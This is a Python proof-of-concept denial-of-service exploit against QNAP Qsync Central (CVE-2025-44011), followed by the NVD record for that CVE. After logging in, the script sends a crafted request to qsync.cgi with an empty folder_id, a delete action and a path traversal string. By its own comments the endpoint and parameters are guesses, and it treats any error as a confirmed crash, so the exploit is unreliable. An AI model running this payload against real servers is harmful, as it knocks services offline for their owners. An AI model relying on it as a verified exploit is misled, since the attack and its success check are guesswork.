CVE-2025-44011

# CVE-2025-44011 PoC - Qsync Central NULL Pointer Dereference DoS # This PoC demonstrates the concept of triggering a NULL pointer dereference # in Qsync Central to cause a denial-of-service condition. # Note: Attacker must possess valid user credentials (PR:L). import requests import sys TARGET_HOST = "https://target-qnap:8080" USERNAME = "valid_user" PASSWORD = "valid_password" def authenticate(session, host, username, password): """Authenticate to Qsync Central to obtain a valid session.""" login_url = f"{host}/cgi-bin/qsync/qsync.cgi" # Login payload structure may vary by version login_data = { "func": "login", "user": username, "pwd": password } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) if resp.status_code == 200 and "sid" in resp.text: print("[+] Authentication successful") return True except Exception as e: print(f"[-] Authentication error: {e}") return False def trigger_null_deref(session, host): """ Trigger NULL pointer dereference by sending a malformed request that causes the server to dereference an uninitialized/NULL pointer. The exact endpoint and parameters depend on the vulnerable code path. """ # Crafted request targeting vulnerable code path # The NULL dereference typically occurs when a resource object is # expected but not properly initialized for certain input combinations vuln_url = f"{host}/cgi-bin/qsync/qsync.cgi" # Malicious payload designed to trigger NULL pointer dereference # by providing unexpected/empty values where a valid object is expected payload = { "func": "sync_operation", "folder_id": "", # Empty value may lead to NULL object "action": "delete", "param": "../../../../../../" # Path traversal combined with NULL deref } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Qsync-Client/1.0" } try: resp = session.post(vuln_url, data=payload, headers=headers, verify=False, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") # Check if server is still responding (crash check) check = session.get(f"{host}/cgi-bin/qsync/qsync.cgi?func=get_status", verify=False, timeout=5) if check.status_code == 500 or "error" in check.text.lower(): print("[+] Server may have crashed - DoS condition triggered!") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - Server has crashed! DoS confirmed!") return True except Exception as e: print(f"[*] Exception (possible crash): {e}") return True return False def main(): session = requests.Session() print(f"[*] Target: {TARGET_HOST}") print(f"[*] CVE-2025-44011 - Qsync Central NULL Pointer Dereference DoS") # Step 1: Authenticate with valid credentials if not authenticate(session, TARGET_HOST, USERNAME, PASSWORD): print("[-] Failed to authenticate. Valid credentials required.") sys.exit(1) # Step 2: Trigger NULL pointer dereference if trigger_null_deref(session, TARGET_HOST): print("[+] DoS attack successful!") else: print("[-] DoS attempt may have failed. Try adjusting payload parameters.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-44011", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:42.823", "lastModified": "2025-10-08T19:50:44.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0.0", "versionEndExcluding": "5.0.0.1", "matchCriteriaId": "1CCFCB2F-05FA-460B-BD0D-966E7CE58D8A"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}